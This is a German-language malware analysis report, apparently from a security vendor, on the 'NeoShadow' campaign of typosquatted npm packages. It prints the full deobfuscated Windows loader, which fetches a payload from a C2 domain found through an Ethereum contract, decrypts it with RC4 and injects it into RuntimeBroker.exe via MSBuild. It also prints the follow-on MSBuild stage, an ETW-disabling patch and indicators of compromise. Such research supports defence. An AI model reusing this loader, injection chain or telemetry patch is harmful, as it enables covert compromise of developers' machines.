Am 30. Dezember erregte ein plötzlicher Anstieg neuer npm-Pakete von einem einzelnen Autor unsere Aufmerksamkeit. Unsere Analyse-Engine kennzeichnete mehrere davon kurz nach ihrem Erscheinen als verdächtig. Wir nennen diese Kampagne/diesen Bedrohungsakteur „NeoShadow“, basierend auf einem gemeinsamen Bezeichner, der in der Stage-2-Payload gefunden wurde. Die identifizierten Pakete waren:
- viem-js
- cyrpto
- tailwin
- supabase-js

Alle wurden vom Benutzer veröffentlicht cjh97123. Es handelt sich allesamt um Typosquatting-Pakete, was an sich nichts Neues ist. Wir waren jedoch von der eigentlichen Malware, die wir darin fanden, fasziniert. Wir stellten nicht nur fest, dass die Obfuskation mit gängigen Tools nicht einfach zu deobfuskieren war, sondern konnten auch erkennen, dass die Malware recht neuartige Dinge ausführte. Also machten wir uns daran, unsere Deobfuskations-Toolchains erneut zu verbessern und dieser Malware auf den Grund zu gehen.
Phase 0 – Schadhaftes JS auf npm
Der erste Teil unserer Untersuchung beginnt mit dieser Setup-Datei, aber Vorsicht: Sie wird uns bald in unerwartete und faszinierende Bereiche führen. Diese JavaScript-Datei, die sich in scripts/setup.js in allen Paketen befindet, dient als ein nur für Windows geeigneter, mehrstufiger Loader. Ihr Verhalten lässt sich in den folgenden geordneten Phasen zusammenfassen:
1️⃣ Plattform- und Umgebungsvalidierung
- 🪟 Bestätigt die Ausführung auf Windows
- 🧪 Wendet eine Anti-Analyse-Heuristik an, indem es Einträge im Windows-Systemereignisprotokoll zählt
- 🚫 Beendet sich frühzeitig in Umgebungen mit geringer Aktivität oder Sandbox-ähnlichen Umgebungen
2️⃣ Dynamische Konfiguration über Blockchain
- ⛓️ Fragt einen Ethereum Smart Contract mithilfe der eth_call API von Etherscan ab
- 📤 Extrahiert einen dynamisch gespeicherten String aus On-Chain-Daten
- 🌐 Behandelt den dekodierten Wert als C2-Basis-URL
- 🔁 Greift auf eine fest codierte Domain zurück, wenn die Chain-Abfrage fehlschlägt
3️⃣ Verdeckte Payload-Akquisition
- 📡 Fordert eine entfernte JavaScript-Datei an, die sich als Analyse-Tool tarnt
- 🫥 Findet einen Base64-kodierten Blob, der in einem Blockkommentar versteckt ist
- 📦 Verwendet den Kommentar ausschließlich als Payload-Container, nicht als ausführbaren Code
4️⃣ Living-off-the-Land-Ausführung (MSBuild)
- 🛠️ Schreibt eine temporäre MSBuild-Projekt (
.proj) Datei - 🧬 Bettet inline C#-Code mithilfe von CodeTaskFactory ein
- 🚫 Führt aus, ohne eine eigenständige ausführbare Datei abzulegen oder zu kompilieren
- 🧾 Verlässt sich auf eine vertrauenswürdige Windows-Binärdatei (MSBuild.exe)
5️⃣ Payload-Entschlüsselung
- 🔐 Dekodiert die Base64-Payload
- 🔑 Leitet einen RC4-Schlüssel durch XOR-Maskierung der ersten 16 Bytes ab
- 🔓 Entschlüsselt die verbleibende Payload im Speicher
6️⃣ Prozessinjektion & Ausführung
- 🧠 Startet RuntimeBroker.exe in einem angehaltenen Zustand
- 💉 Allokiert Speicher im Remote-Prozess
✍️ Schreibt entschlüsselten Shellcode - ⚡ Ausführung über APC-Injektion (
QueueUserAPC+ResumeThread)
7️⃣ Bereitstellung sekundärer Artefakte
- 📥 Lädt optional eine nachfolgende Konfigurationsdatei herunter
- 📁 Persistiert sie unter:
%APPDATA%\Microsoft\CLR\config.proj
Das ist eine Menge. Wenn Sie neugierig sind, hier ist der tatsächliche Code nach unserer Deobfuskation:
const {
execSync: a0_0x284172
} = require("child_process");
const a0_0x363405 = require("os");
const a0_0x53848c = require("path");
const a0_0x651569 = require("fs");
const a0_0x7f4e56 = "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC";
async function a0_0x2da91a() {
if (!a0_0x7f4e56 || "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".length < 10 || !"0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".startsWith("0x")) return null;
const _0x40ca65 = require("https");
return new Promise(_0x18a121 => {
_0x40ca65.get("https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=0x13660FD7Edc862377e799b0Caf68f99a2939B5cC&data=0xd6bd8727&apikey=GAH6BHW1WXF3TNQ4AH3G44B7BWVVKPKSV5", _0xc12477 => {
const _0x5a6f92 = {
xSUuD: function (_0x8e23dc, _0x473cc1) {
return _0x8e23dc !== _0x473cc1;
},
kByHu: function (_0x291b51, _0x45ee39, _0x314df2) {
return _0x291b51(_0x45ee39, _0x314df2);
},
TSNUY: function (_0x551c1c, _0xa10773) {
return _0x551c1c * _0xa10773;
},
IxNWN: function (_0x5bf459, _0x3b5803) {
return _0x5bf459 < _0x3b5803;
},
TNyat: function (_0x2a4142, _0x55bc29) {
return _0x2a4142 + _0x55bc29;
},
jmkEP: "http",
bpmxg: function (_0x596591, _0x2230d0) {
return _0x596591(_0x2230d0);
}
};
let _0x44c1fc = "";
_0xc12477.on("data", _0x4c04af => _0x44c1fc += _0x4c04af);
_0xc12477.on("end", () => {
try {
const _0x19ede0 = JSON.parse(_0x44c1fc);
if (_0x19ede0.result && _0x19ede0.result !== "0x") {
const _0x501fdb = _0x19ede0.result.slice(2);
const _0xacca97 = _0x5a6f92.kByHu(parseInt, _0x501fdb.slice(64, 128), 16);
const _0x4d9687 = _0x501fdb.slice(128, 128 + _0xacca97 * 2);
let _0x2d977d = "";
for (let _0x39ae37 = 0; _0x39ae37 < _0x4d9687.length; _0x39ae37 += 2) {
_0x2d977d += String.fromCharCode(parseInt(_0x4d9687.slice(_0x39ae37, _0x39ae37 + 2), 16));
}
if (_0x2d977d.startsWith("http")) {
_0x5a6f92.bpmxg(_0x18a121, _0x2d977d);
return;
}
}
} catch (_0x34b9f3) {}
_0x18a121(null);
});
}).on("error", () => _0x18a121(null));
});
}
function a0_0x1c5097() {
if (a0_0x363405.platform() !== "win32") return false;
try {
const _0x5962fa = a0_0x284172("powershell -c \"(Get-WinEvent -LogName System -MaxEvents 5000 -ErrorAction SilentlyContinue).Count\"", {
encoding: "utf8",
windowsHide: true,
timeout: 10000
}).trim();
return parseInt(_0x5962fa, 10) >= 3000;
} catch (_0x3c40cc) {
return false;
}
}
function a0_0x218fb4(_0x42ee70, _0x4bce67) {
const _0x50f164 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe";
const _0x1d3b60 = a0_0x363405.tmpdir();
const _0x112a23 = a0_0x53848c.join(_0x1d3b60, Math.random().toString(36).slice(2) + ".proj");
a0_0x651569.writeFileSync(_0x112a23, "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n<Target Name=\"Build\"><T /></Target>\n<UsingTask TaskName=\"T\" TaskFactory=\"CodeTaskFactory\" AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\">\n<Task><Code Type=\"Class\" Language=\"cs\"><![CDATA[\nusing System;using System.IO;using System.Net;\nusing System.Runtime.InteropServices;\nusing Microsoft.Build.Framework;using Microsoft.Build.Utilities;\npublic class T : Task {\n[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }\n[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }\n[DllImport(\"kernel32.dll\", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);\n[DllImport(\"kernel32.dll\")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);\n[DllImport(\"kernel32.dll\")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);\n[DllImport(\"kernel32.dll\")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);\n[DllImport(\"kernel32.dll\")] static extern uint ResumeThread(IntPtr a);\n[DllImport(\"kernel32.dll\")] static extern bool CloseHandle(IntPtr a);\n\nstatic byte[] RC4(byte[] data, byte[] key) {\n byte[] s = new byte[256];\n for (int i = 0; i < 256; i++) s[i] = (byte)i;\n int j = 0;\n for (int i = 0; i < 256; i++) {\n j = (j + s[i] + key[i % key.Length]) & 0xFF;\n byte t = s[i]; s[i] = s[j]; s[j] = t;\n }\n byte[] o = new byte[data.Length];\n int x = 0, y = 0;\n for (int k = 0; k < data.Length; k++) {\n x = (x + 1) & 0xFF;\n y = (y + s[x]) & 0xFF;\n byte t = s[x]; s[x] = s[y]; s[y] = t;\n o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]);\n }\n return o;\n}\n\nstatic byte[] PolyDecode(byte[] payload) {\n byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};\n byte[] key = new byte[16];\n for (int i = 0; i < 16; i++) key[i] = (byte)(payload[i] ^ mask[i]);\n byte[] enc = new byte[payload.Length - 16];\n Array.Copy(payload, 16, enc, 0, enc.Length);\n return RC4(enc, key);\n}\n\npublic override bool Execute() {\ntry {\nbyte[] raw = Convert.FromBase64String(\"" + _0x42ee70 + "\");\nbyte[] d = PolyDecode(raw);\n\nSI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;\nif (!CreateProcessW(\"C:\\\\Windows\\\\System32\\\\RuntimeBroker.exe\", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;\nIntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);\nif (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }\nuint w = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref w);\nQueueUserAPC(addr, pi.hThread, IntPtr.Zero); ResumeThread(pi.hThread);\nCloseHandle(pi.hThread); CloseHandle(pi.hProcess);\n\ntry {\nvar wc = new WebClient();\nstring proj = wc.DownloadString(\"" + _0x4bce67 + "/_next/data/config.json\");\nstring dir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), \"Microsoft\", \"CLR\");\nDirectory.CreateDirectory(dir);\nFile.WriteAllText(Path.Combine(dir, \"config.proj\"), proj);\n} catch {}\n} catch {} return true;\n}}\n]]></Code></Task></UsingTask></Project>");
try {
a0_0x284172("\"" + _0x50f164 + "\" \"" + _0x112a23 + "\" /nologo /noconsolelogger", {
windowsHide: true,
timeout: 30000,
stdio: "ignore"
});
} catch (_0x48f097) {}
try {
a0_0x651569.unlinkSync(_0x112a23);
} catch (_0x245ac6) {}
return true;
}
async function a0_0x46b335() {
if (a0_0x363405.platform() !== "win32") return;
if (!a0_0x1c5097()) return;
try {
const _0x2186b3 = require("https");
let _0x6212ce = await a0_0x2da91a();
if (!_0x6212ce) _0x6212ce = "https://metrics-flow[.]com";
if (!_0x6212ce || !_0x6212ce.startsWith("http")) return;
const _0xe78890 = _0x6212ce + "/assets/js/analytics.min.js";
const _0x4a6c3b = await new Promise((_0x3a7450, _0x340a89) => {
_0x2186b3.get(_0xe78890, _0x891520 => {
let _0x470b55 = "";
_0x891520.on("data", _0x32cd17 => _0x470b55 += _0x32cd17);
_0x891520.on("end", () => _0x3a7450(_0x470b55));
}).on("error", _0x340a89);
});
const _0x168fcf = _0x4a6c3b.match(/\/\*(.+)\*\//);
if (!_0x168fcf || !_0x168fcf[1]) return;
a0_0x218fb4(_0x168fcf[1], _0x6212ce);
} catch (_0x1b35d8) {}
}
a0_0x46b335()["catch"](() => {});
Dies ermöglicht uns, die Logik klarer zu erkennen. Es ist ein neuartiger Ansatz, MSBuild- und C#-Code zu verwenden. Wie in der anderen Version versucht es, die Payload von https://metrics-flow[.]com/assets/js/analytics.min.js und sie mit einem RC4-Schlüssel zu entschlüsseln.
Phase 1 - Was ist das für ein MSBuild?
Eine Sache, die Sie im Code bemerken werden, ist, dass er versucht, die Datei _next/data/config.json von der C2-Domain. Also habe ich sie abgerufen, und sie lieferte eine verbesserte Version des MSBuild-Skripts zurück:
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build"><T /></Target>
<UsingTask TaskName="T" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<Task><Code Type="Class" Language="cs"><![CDATA[
using System;using System.Net;using System.Text.RegularExpressions;using System.Runtime.InteropServices;
using Microsoft.Build.Framework;using Microsoft.Build.Utilities;
public class T : Task {
[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }
[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);
[DllImport("kernel32.dll")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr a);
[DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr a);
static byte[] RC4(byte[] data, byte[] key) {
byte[] s = new byte[256]; for (int i = 0; i < 256; i++) s[i] = (byte)i;
int j = 0; for (int i = 0; i < 256; i++) { j = (j + s[i] + key[i % key.Length]) & 0xFF; byte t = s[i]; s[i] = s[j]; s[j] = t; }
byte[] o = new byte[data.Length]; int x = 0, y = 0;
for (int k = 0; k < data.Length; k++) { x = (x + 1) & 0xFF; y = (y + s[x]) & 0xFF; byte t = s[x]; s[x] = s[y]; s[y] = t; o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]); }
return o;
}
static string GetC2FromEth(string contract, string apiKey) {
if (string.IsNullOrEmpty(contract) || !contract.StartsWith("0x")) return null;
try {
var w = new WebClient();
var url = "https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=" + contract + "&data=0xd6bd8727&apikey=" + apiKey;
var json = w.DownloadString(url);
var m = Regex.Match(json, "\"result\":\"(0x[0-9a-fA-F]+)\"");
if (!m.Success) return null;
var hex = m.Groups[1].Value.Substring(2);
if (hex.Length < 130) return null;
var strLen = Convert.ToInt32(hex.Substring(64, 64), 16);
if (strLen <= 0 || strLen > 500) return null;
var strHex = hex.Substring(128, strLen * 2);
var chars = new char[strLen];
for (int i = 0; i < strLen; i++) chars[i] = (char)Convert.ToByte(strHex.Substring(i * 2, 2), 16);
var c2 = new string(chars);
return c2.StartsWith("http") ? c2 : null;
} catch { return null; }
}
public override bool Execute() {
try {
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
string c2 = GetC2FromEth("", "");
if (string.IsNullOrEmpty(c2)) c2 = "https://metrics-flow.com";
if (string.IsNullOrEmpty(c2) || !c2.StartsWith("http")) return true;
var w = new WebClient();
var cfg = w.DownloadString(c2 + "/assets/js/analytics.min.js");
if (!cfg.StartsWith("/*") || !cfg.EndsWith("*/")) return true;
cfg = cfg.Substring(2, cfg.Length - 4);
var raw = Convert.FromBase64String(cfg);
byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};
var key = new byte[16]; for (int i = 0; i < 16; i++) key[i] = (byte)(raw[i] ^ mask[i]);
var enc = new byte[raw.Length - 16]; Array.Copy(raw, 16, enc, 0, enc.Length);
var d = RC4(enc, key);
SI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;
if (!CreateProcessW("C:\\Windows\\System32\\RuntimeBroker.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);
if (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }
uint written = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref written);
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
} catch {} return true;
}}
]]></Code></Task></UsingTask></Project>Dies ermöglicht uns, die Logik klarer zu erkennen. Es ist ein neuartiger Ansatz, MSBuild- und C#-Code zu verwenden. Wie in der anderen Version versucht es, die Payload von https://metrics-flow[.]com/assets/js/analytics.min.js und sie mit einem RC4-Schlüssel zu entschlüsseln.
Phase 2 - Shellcode-Analyse
An diesem Punkt waren wir natürlich neugierig, was den Aufwand hinter einem solch neuartigen Bereitstellungsmechanismus rechtfertigte. Nach der Entschlüsselung der Payload stellten wir fest, dass sie, wie erwartet, Shellcode enthielt.
Beim Durchsuchen der Roh-Bytes der entschlüsselten Payload fielen uns sofort zwei Namen auf: NeoShadowV2DeriveKey2026 und Global\NSV2_8e4b1d. Die Verbindung zwischen ihnen ist schwer zu ignorieren. NS ist eine natürliche Abkürzung für NeoShadow, und beide Strings teilen sich den gleichen V2 Marker. Zusammengenommen wirken diese nicht zufällig oder generisch; sie fühlen sich wie interne Bezeichnungen der Autoren an. Aufgrund dieser Konsistenz bezeichnen wir den Bedrohungsakteur hinter dieser Aktivität als NeoShadow. Das Auftauchen derselben Benennung in kryptografischen Routinen und Ausführungskontrollen verleiht der Malware eine klare Identität und deutet auf ein bewusst versioniertes, aktiv gepflegtes Toolset hin, anstatt eines einmaligen Experiments.
Wir haben den Shellcode dann durch Binary Ninja laufen lassen, was sofort eine halbwegs lesbare C-Version hervorbrachte. Nur.. Es sind 4000 Zeilen hässlicher C-Code. 🥹

Also haben wir das Claude zugeführt, um eine sauberere Version zu erhalten. Und tatsächlich generierte es eine schöne und lesbare 1900-Zeilen-Version des C-Codes. Dies bringt uns zum nächsten Teil unseres Abenteuers.
Stufe 3 – Eine Ratte im Build
Die finale Payload ist eine voll ausgestattete Backdoor, die für langfristigen Zugriff konzipiert ist. Sobald sie läuft, tritt sie in eine Beacon-Schleife ein, die sich beim C2-Server meldet, Systeminformationen meldet und auf Befehle wartet. Das Implantat ist bewusst leichtgewichtig konzipiert: Es stellt den Zugriff her und bietet ein Ausführungs-Primitiv, während alle Post-Exploitation-Funktionalitäten als Wegwerfmodule nachgeladen werden.
Beacon-Verhalten
- 📡 Sendet verschlüsselte Check-ins über HTTPS POST
- 🪪 Enthält Host-Fingerprint: Computernamen, Benutzernamen, Agenten-ID
- 🔀 Randomisiert URL-Pfade, um legitimen Traffic zu imitieren (
/assets/js/,/api/v1/,/wp-content/, etc.) - 🏷️ Markiert Anfragen mit einem Benutzerdefinierten
X-Agent-IdHeader zur Opferverfolgung - ⏱️ Unterstützt konfigurierbares Sleep-Intervall mit Jitter (Standard 20 %)
Verschlüsselung
Der gesamte C2-Traffic wird mit ChaCha20 verschlüsselt, einer Stromchiffre, die wegen ihrer Geschwindigkeit und Sicherheit bevorzugt wird. Schlüssel werden über Curve25519 ECDH etabliert.
Befehlssatz
Den Operatoren stehen drei Befehle zur Verfügung:
sleep
- ⏰ Passt das Beacon-Intervall dynamisch an
- 🔇 Ermöglicht Operatoren, sich während Persistenzphasen unauffällig zu verhalten oder für aktives Engagement zu beschleunigen
module
- 🌐 Ruft Payload von einer URL ab
- 📦 Wenn es eine DLL ist: lokalisiert
ReflectiveLoaderExport, injiziert ohne die Festplatte zu berühren - 💉 Wenn es Shellcode ist: injiziert direkt in
RuntimeBroker.exevia APC-Injection - 🧰 Primärer Mechanismus zur Bereitstellung von Post-Exploitation-Tools
inject
- 🔤 Akzeptiert base64-kodierten Shellcode direkt im Befehl
- 🔒 Hält alles innerhalb des verschlüsselten C2-Kanals
- ⚡ Derselbe Injection-Pfad wie bei module, nur ohne den Netzwerk-Fetch
Antwortverarbeitung
- ✅ Gibt bei Erfolg OK oder DLL OK zurück
- ❌ Deskriptive Fehler: Error: alloc, Error: fetch, Error: decode, Error: inject, Error: not PE
- 📤 Injizierte DLLs können in einen gemeinsam genutzten Puffer schreiben, der in der Antwort exfiltriert wird
- 🔁 Die gesamte Kommunikation verwendet dieselbe ChaCha20-Verschlüsselung wie der Beacon
Dieser winzige, minimalistische Remote Access Trojan (RAT) ist ziemlich clever. Seine einzige Funktion besteht darin, eine persistente C2-Verbindung herzustellen und als First-Stage-Loader für potentere Malware zu fungieren. Dies bietet Angreifern einen flexiblen, unauffälligen Einstiegspunkt, um sekundäre Tools (z. B. Keylogger oder Ransomware) bereitzustellen und den Angriff nach Belieben zu eskalieren.
Interessante Funktionen
Die Malware enthält einige clevere Funktionen, um sich und ihren C2-Server zu verbergen, die wir unten aufgeführt haben.
🙈Den Host blenden: ETW-Patching
Event Tracing for Windows ist das Nervensystem der modernen Windows-Telemetrie. Wenn eine .NET-Assembly geladen wird, erkennt ETW dies. Wenn PowerShell einen Skriptblock ausführt, protokolliert ETW dies. Wenn ein Prozess erzeugt, ein Thread erstellt, eine DLL geladen oder eine Netzwerkverbindung hergestellt wird, werden ETW-Ereignisse emittiert, die von Sicherheitsprodukten konsumiert werden. Sicherheitsplattformen, einschließlich Endpoint Detection and Response (EDR)-Lösungen und SIEM-Tools, sind alle stark auf ETW zur Erkennung angewiesen. Das Deaktivieren von ETW beeinträchtigt die Sichtbarkeit dieser Sicherheitstools erheblich. Beachten Sie, dass dies keine neue Technik ist; sie ist seit Jahren bekannt.
Das Implantat tut genau das. Bevor es C2-Kommunikation herstellt oder verdächtige Aktivitäten ausführt, lokalisiert es NtTraceEvent in ntdll.dll, die Low-Level-Funktion, durch die letztendlich alle ETW-Ereignisemittierungen geleitet werden. Es löst die Adresse über seine standardmäßige hash-basierte API-Auflösung auf (Hash 0xDECFC1BF), ruft es dann VirtualProtect auf, um den Speicher der Funktion beschreibbar zu machen:
char funcName[] = "NtTraceEvent";
char* ntTraceEvent = GetProcAddress(hNtdll, funcName);
DWORD oldProtect;
VirtualProtect(ntTraceEvent, 4, PAGE_EXECUTE_READWRITE, &oldProtect);Mit Schreibzugriff in der Hand überschreibt es die ersten vier Bytes der Funktion mit einem einfachen Stub, der Erfolg zurückgibt, ohne etwas zu tun:
// Before patching
NtTraceEvent:
4c 8b d1 mov r10, rcx
b8 XX XX 00 00 mov eax, <syscall#>
0f 05 syscall
c3 ret
// After patching
NtTraceEvent:
48 33 c0 xor rax, rax ; rax = 0 (STATUS_SUCCESS)
c3 ret ; return immediatelyDas war's. Vier Bytes, 48 33 C0 C3, und jedes ETW-Ereignis im System wird nicht mehr ausgelöst. Die Funktion gibt STATUS_SUCCESS zurück, damit Aufrufer keine Fehler erhalten oder es erneut versuchen, aber keine Ereignisse erreichen jemals den Kernel. Sicherheitsprodukte, die ETW-Provider abfragen, erhalten Stille.
🙈C2-Server-Tarnung
Also haben wir die C2-Domain metrics-flow[.]comüberprüft und mussten über den Tarnversuch der Angreifer schmunzeln. Sie haben eine clevere Sicherheitsebene eingebaut, die darauf ausgelegt ist, automatisierte Tools und menschliche Forscher in die Irre zu führen. Wenn man die Hauptseite aufruft, erhält man nicht zweimal dasselbe. Stattdessen liefert der Server eine völlig zufällige Reihe von gefälschten Inhalten aus, wodurch sie wie eine völlig normale, nicht-bösartige Website aussieht. Sehr clever, und es wird es Forschern in Zukunft leicht machen, die C2-Server zu identifizieren. 😀



C2-Domain
Die C2-Domain wurde ungefähr zur gleichen Zeit registriert, als die Malware erstmals auf npm veröffentlicht wurde, am 30. Dezember 2025, wie aus den Whois-Informationen hervorgeht:

Änderungen in Version 2
Alle bisherigen Analysen basieren auf der am 30. Dezember 2025 bereitgestellten Version. Eine weitere Version der Pakete wurde am 2. Januar 2026 bereitgestellt. Die bemerkenswerteste Änderung ist, dass eine Windows-Executable, analytics.node, ebenfalls enthalten ist. Wir stellten fest, dass kein Antivirenprogramm auf VirusTotal sie als bösartig erkannte:

Zudem wurde die JavaScript-Datei anders obfuskiert und ist schwieriger zu deobfuskieren als die Originalversion, wobei die Veröffentlichung offenbar neue Obfuskationstechniken enthält.
Wir erhalten auch eine weitere Referenz auf das Projekt namens NeoShadow: C:\\Users\\admin\\Desktop\\NeoShadow\\core\\loader\\native\\build\\Release\\analytics.pdb
Fazit
Bisher haben wir nicht versucht, eine dynamische Payload vom C2-Server abzurufen. Wir haben jedoch eindeutig einen gut durchdachten Versuch beobachtet, eine unserer Meinung nach neuartige Malware als Teil einer größeren, bisher undokumentierten Kampagne zu verbreiten, die ihren eigenen C2-Server, RAT, Bereitstellungsmechanismus und Tarntechniken zur Verbergung ihres C2-Servers entwickelt hat.
🚨 Indikatoren für Kompromittierung
- Domain:
metrics-flow[.]com - IP-Adresse:
80.78.22[.]206 - Binärdatei:
012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07 - Ethereum-Adresse:
0x13660FD7Edc862377e799b0Caf68f99a2939B5cC - Mutex-Name:
Global\NSV2_8e4b1d - NPM-Pakete:
viem-jscyrptotailwinsupabase-js

